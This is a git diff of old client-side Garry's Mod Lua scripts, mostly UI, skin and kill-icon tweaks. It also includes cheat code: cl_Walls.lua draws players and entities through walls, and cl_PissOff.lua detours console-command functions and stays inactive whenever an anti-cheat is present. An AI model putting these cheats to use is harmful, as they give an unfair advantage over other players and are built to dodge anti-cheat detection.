0000000..ad2ea74 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/ballspwans.lua @@ -0,0 +1,16 @@ + + +local convar3 = CreateClientConVar("hex_showballs", 0, true, true) + +local function showspwans() + if not convar3:GetBool() then return end + + for k,v in pairs(ents.FindByClass("sent_ball")) do + local pos = v:GetPos():ToScreen() + draw.RoundedBox( 4, pos.x-5, pos.y-5, 10, 10, Color( 66, 255, 96, 255 ) ) + end +end +--hook.Add("HUDPaint", "ShowBalls", showspwans) + + + \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_AR2Bounce.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_AR2Bounce.lua new file mode 100644 index 0000000..1619390 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_AR2Bounce.lua @@ -0,0 +1,39 @@ + +local Enabled = CreateClientConVar("ar2_enabled", 1, true, false) +local Max = CreateClientConVar("ar2_max", 8, true, false) +local Done = false +local Good = { + ["weapon_ar2"] = true, + ["plasma_rifle"] = true, +} + + +local function AR2Bounce() + if not SaitoHUD then return end + if not Enabled:GetBool() then return end + + local ply = LocalPlayer() + local wep = ply:GetActiveWeapon() + + if ValidEntity(ply) and ValidEntity(wep) then + if Good[ wep:GetClass() ] then + RunConsoleCommand("reflect_trace", Max:GetInt() ) + Done = true + else + if Done then + Done = false + RunConsoleCommand("reflect_trace_clear") + end + end + end +end +hook.Add("Think", "AR2Bounce", AR2Bounce) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ChatFilter.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ChatFilter.lua new file mode 100644 index 0000000..6b2ff49 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ChatFilter.lua @@ -0,0 +1,19 @@ + + + +local function SaveFilter(u) + local flt = u:ReadString() + local DoBeep = u:ReadBool() + file.Append("dex_filter.txt", flt) + + surface.PlaySound( Sound("npc/scanner/combat_scan"..math.random(2,4)..".wav") ) +end + + +timer.Simple(1, function() + if CHATFILTER then + --usermessage.Hook("flt", SaveFilter) + --print("[OK] Overriding SimpleFilter beep & save system") + end +end) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin.lua new file mode 100644 index 0000000..eeeb290 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin.lua @@ -0,0 +1,86 @@ + + +local dermaskin +local getskintable + +if file.Exists("dermaskin.txt") then + dermaskin = file.Read("dermaskin.txt") +end +if not ConVarExists("derma_skin") then + CreateConVar("derma_skin", dermaskin or "Default") +end + + + +timer.Simple(0, function() + if HSP then return end + + local dermaskins = derma.GetSkinTable() + timer.Create("RefreshDermaSkins", 15, 1, function() + dermaskins = derma.GetSkinTable() + end) + + _R.Panel.SetSkinOld = _R.Panel.SetSkin + function _R.Panel:SetSkin(name) + if HeX.MyCall():find("HSP") then + return self:SetSkinOld(name) + end + + self.dermaskin = name + end + + derma.SkinHookOld = derma.SkinHook + function derma.SkinHook(strType, strName, panel) + local Skin + local a = panel.dermaskin + local p = panel + + while (!a and p:GetParent()) do + p = p:GetParent() + a = a or p.dermaskin + end + + if a then + if a != panel.lastdermaskin then + panel:InvalidateLayout() + end + + panel.lastdermaskin = a + Skin = dermaskins[a] + else + if not getskintable then + getskintable = derma.GetSkinTable + end + + dermaskin = GetConVarString("derma_skin") + if dermaskin != panel.lastdermaskin then + panel:InvalidateLayout() + end + + if !dermaskins[dermaskin] then + dermaskin = nil + end + panel.lastdermaskin = dermaskin + Skin = dermaskins[dermaskin or "Default"] + end + + if not Skin then return end + local func = Skin[ strType..strName ] + --local func2 = dermaskins["Default"][ strType..strName ] + if not func then return end + + if HeX.FPath(func):find("HSP") then + return derma.SkinHookOld(strType,strName,panel) + end + + return func(Skin,panel) + end + + + for k, v in pairs(file.FindInLua("skins/*.lua")) do + HeXInclude("skins/"..v) + end +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin1.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin1.lua new file mode 100644 index 0000000..907b3f1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin1.lua @@ -0,0 +1,94 @@ +local dermaskin +local getskintable +local getConVarString = GetConVarString + +if file.Exists"dermaskin.txt" then dermaskin = file.Read"dermaskin.txt" end + +if !ConVarExists"derma_skin" then CreateConVar("derma_skin", dermaskin or "Default") end + +timer.Simple(0, function() + +local dermaskins = derma.GetSkinTable() +timer.Create("RefreshDermaSkins", 1, 0, function() dermaskins = derma.GetSkinTable() end) + +function _R.Panel:SetSkin(name) self.dermaskin = name end + +function derma.SkinHook( strType, strName, panel ) + local Skin + local a = hook.Call("ForceDermaSkin", GAMEMODE) or panel.dermaskin + local p = panel + while (!a and p:GetParent()) do + p = p:GetParent() + a = a or p.dermaskin + end + if a then + if a != panel.lastdermaskin then panel:InvalidateLayout() end + panel.lastdermaskin = a + Skin = dermaskins[a] + else + if !getskintable then getskintable = derma.GetSkinTable end + dermaskin = getConVarString"derma_skin" + if dermaskin != panel.lastdermaskin then panel:InvalidateLayout() end + if !dermaskins[dermaskin] then dermaskin = nil end + panel.lastdermaskin = dermaskin + Skin = dermaskins[dermaskin or "Default"] + end + + if ( !Skin ) then return end + local func = Skin[ strType .. strName ] + local func2 = dermaskins["Default"][ strType .. strName ] + if ( !func ) then return end + + return func( Skin, panel ) + +end + +function debug.getupvalues(f) + local t, i, k, v = {}, 1, debug.getupvalue(f, 1) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue(f, i) + end + return t +end + +local func = debug.getupvalues(concommand.Run).CommandList["menu_extensions"] + +concommand.Add("menu_extensions", function() + func() + local panel = debug.getupvalues(func).Extensions + while !panel do + local a + a = debug.getupvalues(a or func).func + if a then + panel = debug.getupvalues(a).Extensions + a = debug.getupvalues(a or func).func + else + break + end + end + local pnl = vgui.Create"DListView" + pnl:Dock(FILL) + pnl:AddColumn"Name" + pnl:AddColumn"Author" + pnl:SetMultiSelect(false) + local tbl = {} + for k, v in pairs(derma.GetSkinTable()) do + pnl:AddLine(v.PrintName or "N/A", v.Author or "N/A") + table.insert(tbl, k) + end + pnl.OnRowSelected = function(_, line) + RunConsoleCommand("derma_skin", tbl[line]) + file.Write("dermaskin.txt", tbl[line]) + end + + panel.PropertySheet:AddSheet( Localize( "Derma Skin" ), pnl, "gui/silkicons/application_view_tile" ) + concommand.Add("menu_extensions", func) +end) + +for k, v in pairs(file.FindInLua("skins/*.lua")) do + HeXInclude("skins/"..v) +end + +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ErrorCleanse.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ErrorCleanse.lua new file mode 100644 index 0000000..2d2f549 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ErrorCleanse.lua @@ -0,0 +1,100 @@ +local NewCube = ClientsideModel( 'models/props/smallcubetrt.mdl', RENDERGROUP_BOTH ) +local NoGC = { NewCube } + +NewCube:SetNoDraw( true ) +NewCube:DrawShadow( false ) + +-- Using a single ClientsideModel as it's far faster to draw it multiple times than creating one for every entity. +-- There's a few quirks to this, but they're not as important as the speed difference. + +local KeepTexture = CreateClientConVar( 'ErrorCleanse_KeepTexture', 0, true, false ) +local KeepColor = CreateClientConVar( 'ErrorCleanse_KeepColor', 1, true, false ) + +local function DrawError( self ) + + if !KeepTexture:GetBool() then SetMaterialOverride( 0 ) end + if !KeepColor:GetBool() then render.SetBlend( 1 ); render.SetColorModulation( 1, 1, 1 ) end + + NewCube:SetRenderOrigin( self:LocalToWorld( self:OBBCenter() ) ) + NewCube:SetRenderAngles( self:GetAngles() ) + NewCube:SetModelScale( self.ErrorCleanse.OBB ) + + NewCube:DrawModel() + + NewCube:SetRenderOrigin() + NewCube:SetRenderAngles() + +end + +local function ValidError( Ent ) -- Oxymoron! + + if !ValidEntity( Ent ) then return end + if !Ent:GetTable() then return end + if Ent:GetModel() != 'models/error.mdl' then return end + if Ent:GetPhysicsObjectCount() > 1 then return end -- This doesn't work well with ragdolls. :x + if Ent:BoundingRadius() == 0 then Ent:SetNoDraw( true ) return end + -- There's nothing we can do if we can't get its bounds. Simply disable it from drawing altogether as it's probably unimportant. + + return true + +end + +local function ApplyRenderOverride( Ent ) + + Ent.RenderOverride = DrawError + Ent.Draw = DrawError + +end + +local function Spawned( Ent ) + + if !ValidError( Ent ) then return end + + local Mins = Ent:OBBMins() + local Maxs = Ent:OBBMaxs() + + Ent.ErrorCleanse = {} + Ent.ErrorCleanse.OBB = (Maxs - Mins)/2 + + ApplyRenderOverride( Ent ) + + Ent:DrawShadow( false ) + Ent:SetModelScale( vector_origin ) + Ent:SetRenderBounds( Mins, Maxs ) + + -- HACK: The propspawn effect sometimes replaces RenderOverride, so run it again! + timer.Create( 'ErrorCleanse.RO.'..Ent:EntIndex(), 0.5, 10, ApplyRenderOverride, Ent ) + +end + +local function ReInitialize() + + for K, Ent in pairs( ents.GetAll() ) do + + Spawned( Ent ) + + end + +end + +local function ReplaceMissingMat() -- This was an expirement to replace the purple&black material. It seems to also make effects invisible? + + Msg( 'NOTE: This feature is expiremental and causes some texture problems!\n' ) + + local NewError = Material( 'turtle/newmissing' ) + local ErrorTex = Material('turtle/random_error_this/is/not/real-') + + ErrorTex:SetMaterialTexture( '$basetexture', NewError:GetMaterialTexture( '$basetexture' ) ) + +end + +-- Apply everything! + +hook.Add( 'OnEntityCreated', 'ErrorCleanse.Spawned', Spawned ) +hook.Add( 'InitPostEntity', 'ErrorCleanse.InitPostEntity', InitPostEntity ) + +timer.Create( 'ErrorCleanse.AddErrors', 0.25, 0, ents.GetAll ) -- This fixes entities sometimes not getting OnEntityCreated spawned for them. +timer.Create( 'ErrorCleanse.ReInitialize', 15, 0, ReInitialize ) -- This shouldn't even be required -- but I feel I should include it incase something is missed first time. + +concommand.Add( 'ErrorCleanse_ReInit', ReInitialize ) +concommand.Add( 'ErrorCleanse_ReplaceMissingMat', ReplaceMissingMat ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_MatOrganiser.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_MatOrganiser.lua new file mode 100644 index 0000000..ca49d74 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_MatOrganiser.lua @@ -0,0 +1,26 @@ +--[[ + ~ Materials Orgnaiser ~ + ~ Lexi ~ +--]] + +list.Add("OverrideMaterials", "models/player/shared/gold_player") +list.Add("OverrideMaterials", "models/weapons/c_items/gold_wrench") + + +timer.Simple(0, function() + local mats = list.GetForEdit("OverrideMaterials") + local cleaner = {} + + for i, mat in pairs(mats) do + cleaner[mat] = true + mats[i] = nil + end + + local i = 1 + for mat in pairs(cleaner) do + mats[i] = mat + i = i + 1 + end + + table.sort(mats) +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_PissOff.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_PissOff.lua new file mode 100644 index 0000000..dad0e80 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_PissOff.lua @@ -0,0 +1,51 @@ + + +if (HeXGlobal_AC or HACInstalled) then + printDelay("[WRN] Not loading PissOff, AC!") + return +end + +--0 block, 1 allow, 2 log and allow +local EnabledPCC = CreateClientConVar("hex_pcc", 1, false, false) +local EnabledRCC = CreateClientConVar("hex_rcc", 1, false, false) + + +local function ConCommand(self,str) + local Lev = EnabledPCC:GetInt() + + if (Lev == 0) then --Block + print("! BLOCKED PCC: ", str) + return + + elseif (Lev == 2) then + print("! PCC: ", str) + end + + return self:ConCommandOld(str) +end +HeX.Detour.Meta("Player", "ConCommand", ConCommand) + + +local function ConsoleCommand(...) + local Lev = EnabledRCC:GetInt() + + if (Lev == 0) then --Block + print("! BLOCKED RCC: ", ...) + return + + elseif (Lev == 2) then + print("! RCC: ", ...) + end + + return RunConsoleCommandOld(...) +end +HeX.Detour.Global("_G", "RunConsoleCommand", ConsoleCommand) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_Walls.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_Walls.lua new file mode 100644 index 0000000..948968e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_Walls.lua @@ -0,0 +1,318 @@ + +local walls = {} --Quicker than changing all the table stuff + +local Enabled = CreateClientConVar("l4d_enabled", 1, true, false) +local DoWeapons = CreateClientConVar("l4d_weapons", 1, true, false) +local WepMaxDmg = CreateClientConVar("l4d_wep_dmg", 43, true, false) +local WepHue = CreateClientConVar("l4d_wep_hue", 160, true, false) +local WepHueEnd = CreateClientConVar("l4d_wep_hue_end", 30, true, false) +local BlurSize = CreateClientConVar("l4d_passes", 3, true, false) + +local Vehicles = { + prop_vehicle_jeep = true, + prop_vehicle_airboat = true, + prop_vehicle_prisoner_pod = true, +} + + +local MaterialBlurX = Material("pp/blurx") +local MaterialBlurY = Material("pp/blury") + +local MaterialWhite = CreateMaterial( "WhiteMaterial", "VertexLitGeneric", { + ["$basetexture"] = "color/white", + ["$vertexalpha"] = "1", + ["$model"] = "1", + } +) +local MaterialComposite = CreateMaterial("CompositeMaterial", "UnlitGeneric", { + ["$basetexture"] = "_rt_FullFrameFB", + ["$additive"] = "1", + } +) +local RT1 = GetRenderTarget("L4D1") +local RT2 = GetRenderTarget("L4D2") + + + +walls.RenderToStencil = function(entity) + -- tell the stencil buffer we're going to write a value of one wherever the model + -- is rendered + render.SetStencilEnable( true ) + render.SetStencilFailOperation( STENCILOPERATION_KEEP ) + render.SetStencilZFailOperation( STENCILOPERATION_KEEP ) + --STENCILOPERATION_INVERT + render.SetStencilPassOperation( STENCILOPERATION_REPLACE ) + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_ALWAYS ) + render.SetStencilWriteMask( 1 ) + render.SetStencilReferenceValue( 1 ) + + -- this uses a small hack to render ignoring depth while not drawing color + -- i couldn't find a function in the engine to disable writing to the color channels + -- i did find one for shaders though, but I don't feel like writing a shader for this. + cam.IgnoreZ(true) + render.SetBlend(0) + local weap = nil + if entity:IsPlayer() then + weap = entity:GetActiveWeapon() + end + + SetMaterialOverride(MaterialWhite) + entity:DrawModel() + + if ValidEntity(weap) then + weap:DrawModel() + end + SetMaterialOverride() + --render.SetBlend(1) + render.SetBlend(1) + cam.IgnoreZ(false) + + --don't need this for the next pass + render.SetStencilEnable( false ) +end + + + + +walls.RenderToGlowTexture = function(entity) + if not Enabled:GetBool() then return end + + local w, h = ScrW(), ScrH() + local fogmode = render.GetFogMode() + render.FogMode(MATERIAL_FOG_NONE) + -- draw into the white texture + local oldRT = render.GetRenderTarget() + render.SetRenderTarget( RT1 ) + render.SetViewPort( 0, 0, 512, 512 ) + + cam.IgnoreZ( false ) + render.SuppressEngineLighting( true ) + local weap = nil + + if entity:IsPlayer() then + local col = team.GetColor(entity:Team()) + if entity.StencilColor != nil then + col = entity.StencilColor + end + render.SetColorModulation( col.r/255, col.g/255, col.b/255) + + weap = entity:GetActiveWeapon() + else + local col = Color(255,255,255) + if entity.StencilColor != nil then + col = entity.StencilColor + end + render.SetColorModulation( col.r/255, col.g/255, col.b/255) + end + + SetMaterialOverride( MaterialWhite ) + entity:DrawModel(entity) + if ValidEntity(weap) then + weap:DrawModel() + end + SetMaterialOverride() + + render.SetColorModulation( 1, 1, 1 ) + render.SuppressEngineLighting( false ) + + cam.IgnoreZ( false ) + + render.SetViewPort( 0, 0, w, h ) + render.SetRenderTarget( oldRT ) + render.FogMode(fogmode) +end + +walls.RenderScene = function( Origin, Angles ) + if not Enabled:GetBool() then return end + + local oldRT = render.GetRenderTarget() + render.SetRenderTarget( RT1 ) + render.Clear( 0, 0, 0, 255, true ) + render.SetRenderTarget( oldRT ) +end + + +walls.FakeModel = ClientsideModel("models/props_c17/canister02a.mdl", RENDERGROUP_OPAQUE) +walls.FakeModel:SetPos(Vector(0,0,-1000)) + + +walls.SetupFakeModel = function(ent) + walls.FakeModel:SetModel("models/props_c17/canister02a.mdl") + local mdl = ent:GetModel() + if mdl == nil then return end + walls.FakeModel:SetModel(mdl) + + walls.FakeModel:SetPos( ent:GetPos() ) + walls.FakeModel:SetAngles( ent:GetAngles() ) + + walls.FakeModel.StencilColor = ent.StencilColor +end + +walls.MoveFakeModel = function() + walls.FakeModel:SetPos( Vector(0,0,-1000) ) + walls.FakeModel.StencilColor = nil +end + +--[[ +local AllEnts = {} +local function UpdateEnts() + for k,v in pairs(ents.GetAll()) do + if ValidEntity(v) and not AllEnts[v] then + AllEnts[v] = v + end + end + + for k,v in pairs(AllEnts) do + if not ValidEntity(v) + AllEnts[k] = v + end + end +end +hook.Add("Think", "UpdateEnts", UpdateEnts) +]] + +walls.CanDrawL4D = function(ent) + if ent:IsNPC() then + ent.StencilColor = Color(0,0,255) + return 1 + + elseif Vehicles[ ent:GetClass() ] then + ent.StencilColor = Color(0,207,255) + return 1 + + elseif ent:IsWeapon() and DoWeapons:GetBool() then + local col = Color(140,0,255) + + if not ValidEntity(ent.Owner) or ent.Owner == nil then + if ent.Primary then + local maxdmg = WepMaxDmg:GetInt() + local starthue = WepHue:GetInt() + local endhue = WepHueEnd:GetInt() + + local dmg = ent.Primary.Damage or 0 + dmg = math.max(0, 1 - (dmg / maxdmg)) + dmg = dmg * (starthue - endhue) + endhue + + //print(dmg, ent.Primary.Damage) + col = HSVToColor(dmg, 1, 1) + end + ent.StencilColor = col + return 2 + end + end +end + + +walls.DrawOtherStuff = function() + if not Enabled:GetBool() then return end + + local entslist = ents.GetAll() + for i=1, #entslist do + local ent = entslist[i] + + --for k,ent in pairs(ents.GetAll()) do + if ValidEntity(ent) and not ent:IsPlayer() and ent:GetModel() != "" then + local Draw = walls.CanDrawL4D(ent) + + if Draw and Draw > 0 then + if Draw > 1 then + walls.SetupFakeModel(ent) + walls.OUTLINING = true + + walls.RenderToStencil( walls.FakeModel ) + walls.RenderToGlowTexture( walls.FakeModel ) + + walls.OUTLINING = false + walls.MoveFakeModel() + else + walls.OUTLINING = true + + walls.RenderToStencil( ent ) + walls.RenderToGlowTexture( ent ) + + walls.OUTLINING = false + end + end + end + end +end + + +walls.RenderScreenspaceEffects = function( ) + if not Enabled:GetBool() then return end + + MaterialBlurX:SetMaterialTexture( "$basetexture", RT1 ) + MaterialBlurY:SetMaterialTexture( "$basetexture", RT2 ) + + local BSize = BlurSize:GetInt() or 2 + + MaterialBlurX:SetMaterialFloat( "$size", BSize ) // 2 + MaterialBlurY:SetMaterialFloat( "$size", BSize ) + + local oldRT = render.GetRenderTarget() + + -- blur horizontally + render.SetRenderTarget( RT2 ) + render.SetMaterial( MaterialBlurX ) + render.DrawScreenQuad() + + -- blur vertically + render.SetRenderTarget( RT1 ) + render.SetMaterial( MaterialBlurY ) + render.DrawScreenQuad() + + render.SetRenderTarget( oldRT ) + + -- tell the stencil buffer we're only going to draw + -- where the player models are not. + render.SetStencilEnable( true ) + render.SetStencilReferenceValue( 0 ) + render.SetStencilTestMask( 1 ) + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_EQUAL ) + render.SetStencilPassOperation( STENCILOPERATION_ZERO ) + + -- composite the scene + MaterialComposite:SetMaterialTexture( "$basetexture", RT1 ) + render.SetMaterial( MaterialComposite ) + render.DrawScreenQuad() + + -- don't need this anymore + render.SetStencilEnable( false ) +end + + +walls.PostPlayerDraw = function( pl ) + if not Enabled:GetBool() then return end + + -- prevent recursion + if( walls.OUTLINING ) then return end + walls.OUTLINING = true + walls.RenderToStencil( pl ) + walls.RenderToGlowTexture( pl ) + -- prevents recursion time + walls.OUTLINING = false + + --if( ScrW() == ScrH() ) then return end + --return false // Prevent gay GMs doing shit to players too (like hats) +end +--PostDrawOpaqueRenderables + + +hook.Add("RenderScene", "walls.RenderScene", walls.RenderScene) +hook.Add("RenderScreenspaceEffects", "walls.RenderScreenspaceEffects", walls.RenderScreenspaceEffects) +hook.Add("PostPlayerDraw", "walls.PostPlayerDraw", walls.PostPlayerDraw) +hook.Add("PostDrawTranslucentRenderables", "walls.PostDrawTranslucentRenderables", walls.DrawOtherStuff) + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_hex_worldspawnfix_OLD.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_hex_worldspawnfix_OLD.lua new file mode 100644 index 0000000..3464015 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_hex_worldspawnfix_OLD.lua @@ -0,0 +1,192 @@ + + +if ( CLIENT ) then + +local killicons_color = Color( 255, 80, 0, 255 ) + + local function AddKillicon(class, material) + killicon.Add(class,material,killicons_color) + end + + +--gmod turret +--killicon.AddFont( "gmod_turret", "HL2MPTypeDeath", "/", Color( 255, 80, 0, 255 ) ) --red +--killicon.AddFont( "gmod_turret", "HL2MPTypeDeath", "/", Color( 255, 174, 0, 255 ) ) --orange +killicon.AddFont( "gmod_turret", "HL2MPTypeDeath", "/", Color( 192, 0, 192, 255 ) ) --purple + + +--gmod thruster +--AddKillicon("gmod_thruster","killicons/worldspawn_killicon") + + +--from cl_killicons +AddKillicon("env_laser","killicons/env_laser_killicon") +AddKillicon("env_beam","killicons/env_laser_killicon") +AddKillicon("combine_mine","killicons/combine_mine_killicon") +AddKillicon("concussiveblast","killicons/npc_strider_cannon_killicon") +AddKillicon("func_physbox","killicons/func_physbox_killicon") +AddKillicon("func_physbox_multiplayer","killicons/func_physbox_killicon") +AddKillicon("func_door","killicons/func_door_killicon") +AddKillicon("func_door_rotating","killicons/func_door_killicon") +AddKillicon("prop_door_rotating","killicons/func_door_killicon") +AddKillicon("env_headcrabcanister","killicons/env_headcrabcanister_killicon") +AddKillicon("npc_antlion_worker","killicons/npc_antlion_killicon") +AddKillicon("weapon_striderbuster","killicons/weapon_striderbuster_killicon") +AddKillicon("sent_nuke","killicons/sent_nuke_killicon") +AddKillicon("sent_nuke_radiation","killicons/sent_nuke_killicon") + + + + + + + + +--fire +AddKillicon("env_fire","killicons/env_fire_killicon") +AddKillicon("entityflame","killicons/env_fire_killicon") + +--floor +AddKillicon("worldspawn","killicons/worldspawn_killicon") + +--boom +AddKillicon("env_explosion","killicons/env_explosion_killicon") +AddKillicon("env_physexplosion","killicons/env_explosion_killicon") + +--doors +AddKillicon("func_door","killicons/func_door_killicon") +AddKillicon("func_door_rotating","killicons/func_door_killicon") +AddKillicon("prop_door_rotating","killicons/func_door_killicon") + +--gravestone +AddKillicon("gravestone","killicons/gravestone_killicon") +AddKillicon("player","killicons/gravestone_killicon") + +--suicide +AddKillicon("suicide","killicons/suicide_killicon") + +--acid +killicon.Add( "grenade_spit", "killicons/grenade_spit_killicon", Color( 0, 255, 0, 255 ) ) --green +killicon.Add( "weapon_acidshotgun", "killicons/grenade_spit_killicon", Color( 0, 255, 0, 255 ) ) --green +killicon.Add( "AcidGrenade", "killicons/grenade_spit_killicon", Color( 0, 255, 0, 255 ) ) --green + +--others +killicon.Add( "ent_mad_c4", "vgui/entities/weapon_mad_c4", Color( 255, 255, 255, 255 ) ) --white +killicon.Add( "hunter_flechette", "killicons/hunter_flechette_killicon", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont("weapon_sniper","CSKillIcons","r", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont("suicide_deagle", "CSKillIcons", "f", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont("weapon_stridercannon", "HL2MPTypeDeath", "3", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont("flechette_awp","CSKillIcons","r",Color( 0, 255, 0, 255 ) ) --green + + + +--bulletnade +killicon.AddFont( "weapon_bulletnade", "HL2MPTypeDeath", "5", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont( "bullet_grenade", "HL2MPTypeDeath", "5", Color( 0, 255, 0, 255 ) ) --green + +--tripmines +killicon.AddFont( "npc_tripmine", "HL2MPTypeDeath", "*", Color( 255, 80, 0, 255 ) ) +killicon.AddFont( "npc_satchel", "HL2MPTypeDeath", "*", Color( 255, 80, 0, 255 ) ) + +--KH +killicon.AddFont( "boomstick", "HL2MPTypeDeath", "0", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont( "kh_smg", "HL2MPTypeDeath", "/", Color( 0, 255, 0, 255 ) ) --green + + +--[[ +not needed + +killicon.AddFont( "npc_grenade_frag", "CSKillIcons", "p", Color( 255, 80, 0, 255 ) ) +--killicon.AddFont( "BOOMSTICK", "HL2MPTypeDeath", "0", Color( 15, 20, 200, 255 ) ) +--Color( 15, 20, 200, 255 ) --boomstick blue + +]] + +--[[ +--new 357 +language.Add( "HL2_357Handgun", ".357 Magnum" ) +language.Add( "#HL2_357Handgun", ".357 Magnum" ) +language.Add( "weapon_357", ".357 Magnum" ) +]] + +language.Add( "cycler_actor", "NPC" ) +language.Add( "point_hurt", "NPC" ) + +language.Add( "npc_antlion_worker", "AcidLiON" ) +language.Add( "grenade_spit", "Acid Spit" ) +language.Add( "hunter_flechette", "Flechettes" ) +language.Add( "item_item_crate", "Item Crate" ) + + +language.Add( "entityflame", "Fire" ) +language.Add( "env_explosion", "Kaboom" ) +language.Add( "env_physexplosion", "Kaboom" ) +language.Add( "env_fire", "Fire" ) +language.Add( "env_laser", "Laz0r" ) +language.Add( "env_beam", "Laz0r" ) +language.Add( "func_door", "The Door" ) +language.Add( "func_door_rotating", "The Door" ) +language.Add( "prop_door_rotating", "The Door" ) +language.Add( "func_tracktrain", "Railway" ) +language.Add( "gmod_balloon", "Balloon" ) +language.Add( "gmod_spawner", "Prop Spawner" ) +language.Add( "gmod_thruster", "Thruster" ) +--language.Add( "gmod_thruster_old", "Thruster" ) +language.Add( "gmod_turret", "GMod Turret" ) +language.Add( "item_healthvial", "Health Vial" ) +language.Add( "npc_bullseye", "Fort Door" ) +language.Add( "npc_clawscanner", "Claw Scanner" ) +language.Add( "npc_grenade_frag", "Frag Grenade" ) +language.Add( "npc_helicopter", "Combine Choppa" ) +language.Add( "phys_magnet", "Magnet" ) +language.Add( "prop_combine_ball", "Combine Energy Ball" ) +language.Add( "prop_physics_multiplayer", "Multiplayer Physics Prop" ) +language.Add( "prop_ragdoll_attached", "Ragdoll" ) +language.Add( "prop_vehicle_apc", "Combine APC" ) +language.Add( "prop_vehicle_jeep", "Jeep" ) +language.Add( "prop_vehicle_pod", "Seat" ) +language.Add( "trigger_hurt", "The Map" ) +language.Add( "weapon_striderbuster", "Magnusson Device" ) +language.Add( "World", "Gravity" ) +language.Add( "worldspawn", "Gravity" ) + +language.Add( "func_physbox", "Physbox" ) +language.Add( "func_physbox_multiplayer", "Physbox" ) + +end + + +usermessage.Hook( "PlayerKilled", function ( message ) + + local victim = message:ReadEntity(); + local inflictor = message:ReadString(); + local attacker = "#" .. message:ReadString(); + + if (attacker == "#combine_mine") then inflictor = "combine_mine" end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim:Name(), victim:Team() ) + +end ) + +usermessage.Hook( "NPCKilledNPC", function ( message ) + + local victim = "#" .. message:ReadString(); + local inflictor = message:ReadString(); + local tmp = message:ReadString(); + local attacker = "#" .. tmp; + + if (tmp == "combine_mine" or + tmp == "npc_antlion" or + tmp == "npc_antlionguard" or + tmp == "npc_barnacle" or + (tmp == "npc_antlion_worker" and inflictor ~= "grenade_spit") or + (tmp == "npc_hunter" and inflictor ~= "hunter_flechette") or + (tmp == "npc_strider" and inflictor ~= "concussiveblast") or + tmp == "npc_rollermine" or + tmp == "weapon_striderbuster" or + tmp == "npc_manhack") then inflictor = tmp + end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim, -1 ) + +end ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/getmodel.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/getmodel.lua new file mode 100644 index 0000000..b27634f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/getmodel.lua @@ -0,0 +1,21 @@ + + +local function EntityInformation() + local trace = LocalPlayer():GetEyeTrace() + print(trace.Entity:GetClass()) + if trace.Hit and trace.Entity:IsValid() and string.find(string.lower(trace.Entity:GetClass()), "prop") then + print(trace.Entity:GetModel()) + print(trace.Entity:GetOwner()) + print(trace.Entity:Health()) + PrintTable(trace.Entity:GetTable()) + elseif trace.Hit and trace.Entity:IsValid() and trace.Entity:GetClass() == "player" then + print(trace.Entity:Nick()) + print(trace.Entity:Health()) + print(trace.Entity:GetActiveWeapon():GetPrintName()) + print("the guy you're looking at is admin:", trace.Entity:IsAdmin()) + + //print(trace.Entity:GetTool()) + //print(trace.Entity:GetViewModel():GetModel()) //NULL!!!! + end +end +concommand.Add("GetModel", EntityInformation) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/hex_noviewpunch.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/hex_noviewpunch.lua new file mode 100644 index 0000000..256562b --- /dev/null 